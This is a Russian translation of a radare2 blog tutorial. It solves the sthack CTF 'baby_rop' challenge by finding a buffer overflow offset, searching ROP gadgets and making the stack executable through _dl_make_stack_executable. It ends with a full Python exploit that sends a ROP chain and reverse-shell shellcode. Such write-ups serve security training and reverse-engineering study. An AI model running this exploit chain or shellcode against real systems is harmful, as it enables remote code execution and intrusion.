6 минут
Побеждаем baby_rop с помощью radare2
Многие просили пример использования radare2, но не такой детальный как этот или такой короткий как этот. В итоге было решено написать эту статью.
Данный бинарный файл является заданием “baby_rop” из небольшого CTF, что проходил во Франции, под названием - sthack
Запомните, если не знаете какая точно команда, то добавляйте символ ?
для получения справки.
Готовы? Вперёд!
$ r2 baby_rop
Warning: Cannot initialize dynamic section
-- Experts agree, security holes suck, and we fixed some of them!
[0x08048e28]> ii
[Imports]
0 imports
Нет импортируемых функций. Статический бинарь?
[0x08048e28]> iI~static
static true
[0x08048e28]> is~?
1982
Отреверсить функцию main мы оставим в качестве домашнего задания для читателя. Это классический fork-сервер, говорящий “Hello!”, спрашивая размер и строку, и затем копирующий данные. Что же здесь может пойти не так?…
Таким образом, нам нужен ROP путь для проникновения в систему. И мы её успешно нашли:
[0x08048e28]> is~system
vaddr=0x080d7a50 paddr=0x0008fa50 ord=084 fwd=NONE sz=20 bind=LOCAL type=OBJECT name=system_dirs
[0x08048e28]> is~exec
vaddr=0x080bd040 paddr=0x00075040 ord=908 fwd=NONE sz=2680 bind=LOCAL type=FUNC name=execute_stack_op
vaddr=0x080bdf10 paddr=0x00075f10 ord=911 fwd=NONE sz=2203 bind=LOCAL type=FUNC name=execute_cfa_program
vaddr=0x080ef1a8 paddr=0x000a71a8 ord=961 fwd=NONE sz=4 bind=GLOBAL type=OBJECT name=__have_o_cloexec
vaddr=0x080a53d0 paddr=0x0005d3d0 ord=1092 fwd=NONE sz=90 bind=GLOBAL type=FUNC name=_dl_make_stack_executable
vaddr=0x080eda14 paddr=0x000a5a14 ord=2141 fwd=NONE sz=4 bind=GLOBAL type=OBJECT name=_dl_make_stack_executable_hook
[0x08048e28]>
Здесь есть одна хитрость. Нет system
и нет execve
. Кажется, что мы должны сделать старую добрую ROP-цепочку, немного dup2 магии, записать строку /bin/sh
куда-нибудь и вызвать её через execve
.
Или мы можем проверить, что же делает функция _dl_make_stack_executable
:
[0x08048e28]> pdf @ sym._dl_make_stack_executable
╒ (fcn) sym._dl_make_stack_executable 90
│ ;-- sym._dl_make_stack_executable:
│ 0x080a53d0 53 push ebx
│ 0x080a53d1 89c3 mov ebx, eax
│ 0x080a53d3 83ec18 sub esp, 0x18
│ 0x080a53d6 8b08 mov ecx, dword [eax]
│ 0x080a53d8 a128da0e08 mov eax, dword [sym._dl_pagesize] ; [0x80eda28:4]=0x1000 ; sym._dl_pagesize
│ 0x080a53dd 89c2 mov edx, eax
│ 0x080a53df f7da neg edx
│ 0x080a53e1 21ca and edx, ecx
│ 0x080a53e3 3b0d64cf0e08 cmp ecx, dword [sym.__libc_stack_end] ; [0x80ecf64:4]=0 ; sym.__libc_stack_end
│ ┌─< 0x080a53e9 752e jne 0x80a5419
│ │ 0x080a53eb 8b0dc4cf0e08 mov ecx, dword [sym.__stack_prot] ; [0x80ecfc4:4]=0x1000000 ; sym.__stack_prot
│ │ 0x080a53f1 89442404 mov dword [esp + 4], eax ; [0x4:4]=0x3010101
│ │ 0x080a53f5 891424 mov dword [esp], edx
│ │ 0x080a53f8 894c2408 mov dword [esp + 8], ecx ; [0x8:4]=0
│ │ 0x080a53fc e81fa9fcff call sym.mprotect ; sym.__waitpid+0x1b90
│ │ sym.__waitpid() ; sym.__mprotect
│ │ 0x080a5401 85c0 test eax, eax
│ ┌──< 0x080a5403 751b jne 0x80a5420
│ ││ 0x080a5405 c70300000000 mov dword [ebx], 0
│ ││ 0x080a540b 31c0 xor eax, eax
│ ││ 0x080a540d 830d18da0e08. or dword [sym._dl_stack_flags], 1
│ ┌ ; JMP XREF from 0x080a541e (sym._dl_make_stack_executable)
│ ┌ ; JMP XREF from 0x080a5428 (sym._dl_make_stack_executable)
│ ┌───> 0x080a5414 83c418 add esp, 0x18
│ │││ 0x080a5417 5b pop ebx
│ │││ 0x080a5418 c3 ret
│ ││└ ; JMP XREF from 0x080a53e9 (sym._dl_make_stack_executable)
│ ││└─> 0x080a5419 b801000000 mov eax, 1
│ └───< 0x080a541e ebf4 jmp 0x80a5414
│ └ ; JMP XREF from 0x080a5403 (sym._dl_make_stack_executable)
│ └──> 0x080a5420 b8d4ffffff mov eax, 0xffffffd4 ; -44
│ 0x080a5425 658b00 mov eax, dword gs:[eax]
╘ 0x080a5428 ebea jmp 0x80a5414
[0x08048e28]>
Это выглядит как простая обёртка к mprotect
. И нам достаточно установить __stack_prot
в 7, чтобы получить приятный и выполняемый стек.
Теперь рассмотрим, что нам нужно сделать, чтобы перезаписать адрес возврата:
$ r2 -d rarun2 program=./baby_rop arg1=4444
Process with PID 3630 started...
PID = 3630
pid = 3630 tid = 3630
r_debug_select: 3630 3630
Using BADDR 0x400000
Asuming filepath /usr/local/bin/rarun2
bits 64
pid = 3630 tid = 3630
-- Enable ascii-art jump lines in disassembly by setting 'e asm.lines=true'. asm.linesout and asm.linestyle may interest you as well
[0x7fdf3649ccd0]> e dbg.forks = true # we want to "follow" forks
pid = 3630 tid = 3630
[0x7fdf3649ccd0]> dc
r_debug_select: 3630 1
[0x08048e28]> dc
[+] Socket created.
В другом окне запустим атакующий клиент:
echo "1234`ragg2 -P 100 -r`" | nc 127.0.0.1 4444
Вернёмся в первое с radare2:
[+] Listening on 4444.
[+] New client : 127.0.0.1
[0xf770ac10]> dp
Selected: 3630 1
* 3630 s (current)
- 3629 s (ppid)
- 3633 s ./baby_rop
[0xf770ac10]> dpa 3633
pid = 3633 tid = 3633
r_debug_select: 3633 3633
[0xf770ac10]> dc
[+] SIGNAL 11 errno=0 addr=0x41574141 code=1 ret=0
r_debug_select: 3633 1
[+] signal 11 aka SIGSEGV received 0
[0x41574141]> dr=
r15 0x00000000 r14 0x00000000 r13 0x00000000
r12 0x00000000 rbp 0x56414155 rbx 0x41415441
r11 0x00000000 r10 0x00000000 r9 0x00000000
r8 0x00000000 rax 0xffffffff rcx 0xffebd890
rdx 0x00000065 rsi 0x080ed00c rdi 0x08049b30
orax 0xffffffffffffffff rip 0x41574141 rflags = 1PSIV
rsp 0xffebd920
[0x41574141]> woO 0x41574141
64
[0x41574141]>
В итоге наш шеллкод будет выглядеть следующим образом:
[число][забитые 64 бита][полезная нагрузка]
Полезная нагрузка же будет такая:
-
Установить глобальную переменную
__stack_prot
в 7:- Установить регистр в 0xfffffff (без NULL байтов)
- Увеличить 8 раз, чтобы стало равно 7
- Переписать
__stack_prot
им
-
Вызвать
_dl_make_stack_executable
на стек -
Прыгнуть на
esp
:[0x08048e28]> e rop.len = 2 [0x08048e28]> e search.count = 2 [0x08048e28]> "/R/ pop ebx;ret" 0x080481c5 5b pop ebx 0x080481c6 c3 ret 0x0804d826 5b pop ebx 0x0804d827 c3 ret [0x08048e28]>
Без первой введённой команды, radare2 вернёт нам строку вида: pop ebx; mov eax, 3; ret;
. Вторая команда - потому что мы хотим один гаджет с резервной копией в случае NULL байта в смещение.
Команды, которые мы ищем, заключаются в двойные кавычки, потому что символ ;
используется для цепочек обычных r2 команд, а кавычки помогают найти только то, что нам надо.
Так как мы ленивые, мы воспользуемся регулярным выражением, чтобы найти другие гаджеты:
[0x08048e28]> "/R/ pop e[dca]x;ret"
0x0806da92 5a pop edx
0x0806da93 c2fdff ret 0xfffd
0x08070f9c 5a pop edx
0x08070f9d c3 ret
0x08083ca3 59 pop ecx
0x08083ca4 c3 ret
0x080abee4 58 pop eax
0x080abee5 cb retf
0x080bf3b6 58 pop eax
0x080bf3b7 c3 ret
0x080dcabf 5a pop edx
0x080dcac0 cb retf
0x080dd55f 58 pop eax
0x080dd560 cb retf
0x080dda1a 59 pop ecx
0x080dda1b cf iretd
0x080e799e 58 pop eax
0x080e799f c3 ret
0x080e8d98 58 pop eax
0x080e8d99 c3 ret
0x080ea630 58 pop eax
0x080ea631 c20000 ret 0
0x080eae30 58 pop eax
0x080eae31 ca0000 retf 0
0x080eb330 58 pop eax
0x080eb331 cf iretd
[0x08048e28]>
Поиск другого нужного гаджета оставляем на плечах читателя:
Ниже приведён готовый эксплойт:
#!/usr/bin/python
import struct
import socket
# Reverse shell on localhost:1337
shellcode = (b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80"
b"\x92\xb0\x66\x68"
b"\x7f\x01\x01\x01" # ip-аддрес
b"\x66\x68"
b"\x05\x39" # Порт
b"\x43\x66\x53\x89"
b"\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0"
b"\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73"
b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80");
def rop(*args):
return struct.pack('I'*len(args), *args)
s = socket.create_connection(('localhost', 5555))
s.recv(1337)
payload = rop(1337) + 'A' * 64 # padding
# Установить __stack_prot в 7
payload += rop(
0x08070f9c, # pop edx; ret;
0x080ecfc4, # __stack_prot
0x08083ca3, # pop ecx; ret;
0xffffffff, # -1
)
for i in range(0, 8):
payload += rop(0x080de4ee) # inc ecx; ret; 8 times
payload += rop(0x080e5efa) # add dword ptr [edx], ecx
# Делаем наш стек выполняем и прыгаем на шеллкод
payload += rop(
0x080bf3b6, # pop eax; ret;
0x080ecf64, # _libc_stack_end
0x080a53d0, # _dl_make_stack_executable
0x080c4bb3 # call esp
)
payload += shellcode
s.send(payload + '\n')
Напоминаем, что добавив символ ?
, ты сможешь узнать, что каждая команда в r2 делает. Это позволит понять и воспроизвести эксплойт с нуля.
Перевод статьи из официального блога radare2. Special for reverse4you.org